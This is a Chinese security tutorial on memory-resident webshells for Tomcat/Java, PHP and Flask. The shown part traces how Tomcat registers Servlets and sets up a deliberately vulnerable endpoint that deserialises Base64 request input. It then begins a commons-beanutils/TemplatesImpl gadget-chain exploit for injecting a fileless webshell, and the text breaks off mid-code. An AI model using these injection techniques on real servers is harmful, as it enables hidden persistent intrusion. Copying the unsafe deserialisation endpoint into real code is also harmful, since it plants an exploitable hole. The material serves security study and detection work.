黑客大佬

关于Java/Python/PHP 内存马

公众号：掌控安全EDU 分享更多技术文章，欢迎关注一起探讨学习

前言

Java 内存马

Tomcat-Servlet 型内存马

流程分析

反序列化注入Tomcat-Servlet型内存马

上传jsp注入Tomcat-Servlet内存马

Tomcat-Servlet 型内存马查杀

Tomcat-Filter 型内存马

流程分析

反序列化注入Tomcat-Filter 型内存马

jsp注入Tomcat-Filter 型内存马

Tomcat-Listener 型内存马

流程分析

反序列化注入Tomcat-Listener 型内存马

jsp注入Tomcat-Listener 型内存马

Tomcat-Websocket 型内存马

流程分析

反序列化注入 Tomcat-Websocket 型内存马

jsp注入Tomcat-Websocket 型内存马

Java-Agent 型内存马

基本原理

反序列化注入 JavaAgent 型内存马

SpringMVC Controller 内存马注入

基础知识

ApplicationContext

ContextLoaderListener与DispatcherServlet

流程分析

反序列化注入SpringBoot Controller 内存马

PHP 内存马

注入方法：

Python Flask 内存马

注入流程分析

payload变形

查杀与检测

总结

参考链接

前言

因为内存马种类繁杂，每次都要翻看很多文章，又加上最近有某个大活动，因此就写了这篇文章来总结一下常见的3种语言（PHP、Python、JAVA）的内存马的注入方法和查杀方法，并尝试自己完成一个内存马查杀工具的实现。希望本篇文章能给师傅们带来一些启发。文章一长就难免在表达和准确性上有所疏漏，如有错误或不足，请师傅们指正。

Java内存马的种类很多，这篇文章主要对Tomcat-Servlet、Tomcat-Filter、Tomcat-Listener、Tomcat-Websocket、JavaAgent以及SpringMVC Controller等种类的内存马进行研究。很多师傅在分析或者注入Java内存马的时候利用的exp大多是jsp形式的，通过向目标Web目录上传jsp文件，之后访问该jsp文件执行jsp代码从而注入Java内存马。因为这种方式仍然存在文件落盘，而存在文件落盘就意味着很容易被IDS监测到，因此笔者认为这种办法应当是我们拿不到代码执行权限，但是可以拿到命令执行权限或文件上传权限的时候再去利用。那如果我们可以拿到代码执行权限，比如目标存在反序列化漏洞的情况，我们又该如何做到在不上传jsp的条件下，完成内存马的注入？其实难点在于我们该怎样获取request对象。获取request对象并不仅仅是反序列化注入内存马要考虑的，在Java RCE Echo中，也是重中之重。本篇文章重点介绍通过反序列化注入内存马的方法。（本篇文章默认读者拥有基础的Tomcat、JavaAgent以及Spring框架知识）

PHP内存马是通过伪造fastcgi协议包与php-fpm进行通信，改变auto_prepend_file配置，从而在每次访问正常PHP文件时加载我们构造好的php马。因为笔者并不认可PHP不死马是一种内存马技术，因此在这篇文章就不做具体介绍了。

Python内存马，原出自hexman学长介绍的一种方法：https://github.com/iceyhexman/flask_memory_shell，通过利用flask/jinja2 SSTI漏洞来实现内存修改，注入内存马。网上也有不少文章在介绍这种内存马，然而仅仅只是根据payload来解释，没有人从代码层去分析能够注入内存马的原因，本篇文章会从代码层分析flask的请求上下文机制，并根据注入原理给出一些payload变形。虽然flask/jinja2 SSTI漏洞在真实场景中很难出现，但是在一些AWD比赛上关于flask/jinja2 SSTI漏洞的题目却是经常有，为了能够在目标修补SSTI漏洞后维持权限，这种内存马也是很值得学一学的。

Java 内存马

笔者Tomcat的版本是9.0.76，不同的Tomcat版本可能会有所差异，请注意。

Tomcat-Servlet 型内存马

流程分析

首先配置一个最简单的Servlet：

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet", loadOnStartup = 2)
public class HelloServlet extends HttpServlet {
  private String message;

  public void init() {
      message = "Hello World!";
  }

  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
      response.setContentType("text/html");

      // Hello
      PrintWriter out = response.getWriter();
      out.println("");
      out.println("" + message + "");
      out.println("");
  }

  public void destroy() {
  }
}

此处写loadOnStartup=2是为了后面的调试更好理解。接着导入tomcat-catalina依赖，应与自己的tomcat版本一致：


  org.apache.tomcat
  tomcat-catalina
  9.0.76
  provided

在org.apache.catalina.startup.ContextConfig#configureContext处打下断点，开始调试：

因为我们是采用注解的方式配置Servlet，因此此处我们仍然可以获取到创建的Servlet。首先是DefalutServlet以及JspServlet，接着就遍历到了我们创建的HelloServlet了：

之后执行this.context.createWrapper()创建Wrapper，Wrapper 表示一个Servlet，负责管理整个 Servlet 的生命周期，包括装载、初始化、资源回收等：

可以看到this.context是一个StandardContext对象。那我们继续调试看看对Wrapper进行了哪些操作：

首先获取Servlet的LoadOnStartup和enabled，并设置给Wrapper。其中LoadOnStartup就是我们在注解中配置的参数，它表示servlet被加载的先后顺序。继续跟进：

这里调用了Servlet的getServletName()方法，获取servlet的名字，也就是我们在主机中配置的name参数的值，接着将name的值设置给Wrapper。接着还将servlet.getRunAs()的结果传入给了Wrapper，不过因为此处servlet.getRunAs()的执行结果是null且roleRefs.size()==0，因此此处我们可以忽略：

继续跟进：

可以看到此处将Wrapper的servletClass设置为HelloServlet的全限定名。继续跟进，因为Servlet的multipartDef==null、asyncSupported==null，因此以下部分我们可以跳过：

之后又执行了addChild方法将这个Wrapper添加进了StandardContext中：

接下来添加Servlet-Mapper，也就是web.xml中的，不过因为我们是通过注解设置url和servlet的映射关系，因此此处是通过注解获取而非web.xml。接着循环addServletMappingDecoded将url和servlet类做映射：

至此我们就看完了servlet的注册流程，但是还有一个疑问，那就是这个StandardContext从哪里获取？

其实这个分两种情况，一种是网上很常见的，将内存马的生成代码写入到jsp并上传到目标服务器，接着访问该jsp然后注入内存马，这种方法获取StandardContext比较容易，因为jsp内置request对象，因此可以直接利用request对象反射获取。但是这种情况要求文件落地，很容易被检测到。还有一种情况是通过某些gadget chain（如CC11，CB1）打入字节码，然后注入内存马。这种情况需要我们知道request存储的位置，获取到request对象后通过反射获取StandardContext。第二种情况更隐蔽，但同时要求和难度更大，这里对两种方法都进行介绍。

反序列化注入Tomcat-Servlet型内存马

添加commons-beanutils依赖：


        commons-beanutils
        commons-beanutils
        1.9.2
    
并修改HelloServlet的doPost方法，我们手动构造一个反序列化漏洞环境：

public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
      String codes = request.getParameter("codes");
      System.out.println(codes);
      byte[] codebytes = Base64.getDecoder().decode(codes);
      try {
          ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(codebytes));
          ois.readObject();
          ois.close();
      }catch (ClassNotFoundException c){

      }

      response.setContentType("text/html");

      // Hello
      PrintWriter out = response.getWriter();
      out.println("");
      out.println("反序列化成功！");
      out.println("");

  }

反序列化注入内存马获取request对象的方法，我这里提供两种。一种是kingkk师傅提出的：

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT

2、初始化lastServicedRequest和lastServicedResponse两个变量，默认为null

3、从lastServicedResponse中获取当前请求response，并且回显内容。

这种方法缺点是只使用于Tomcat，但优点是耗时更短，获取request更稳定。另一种是c0ny1师傅提出的通过Thread.currentThread()或Thread.getThreads()获取：

按照经验来讲Web中间件是多线程的应用，一般requst对象都会存储在线程对象中，可以通过Thread.currentThread()或Thread.getThreads()获取。当然其他全局变量也有可能，这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码，发现[MBeanServer](https://xz.aliyun.com/t/7535)中也有request对象。

这种方法的优点是更加通用，在多种Web中间件中都可以使用，但缺点是耗时稍长，且有时候会出现没有搜索到request对象的情况。出现首先给出第一种方法的EXP：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static Field getField(final Class clazz, final String fieldName) {
      Field field = null;
      try {
          field = clazz.getDeclaredField(fieldName);
          field.setAccessible(true);
      }
      catch (NoSuchFieldException ex) {
          if (clazz.getSuperclass() != null)
              field = getField(clazz.getSuperclass(), fieldName);
      }
      return field;
  }

  public static Object getpayload() throws Exception{
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{
              ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
      });
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

      final BeanComparator comparator = new BeanComparator();
      final PriorityQueue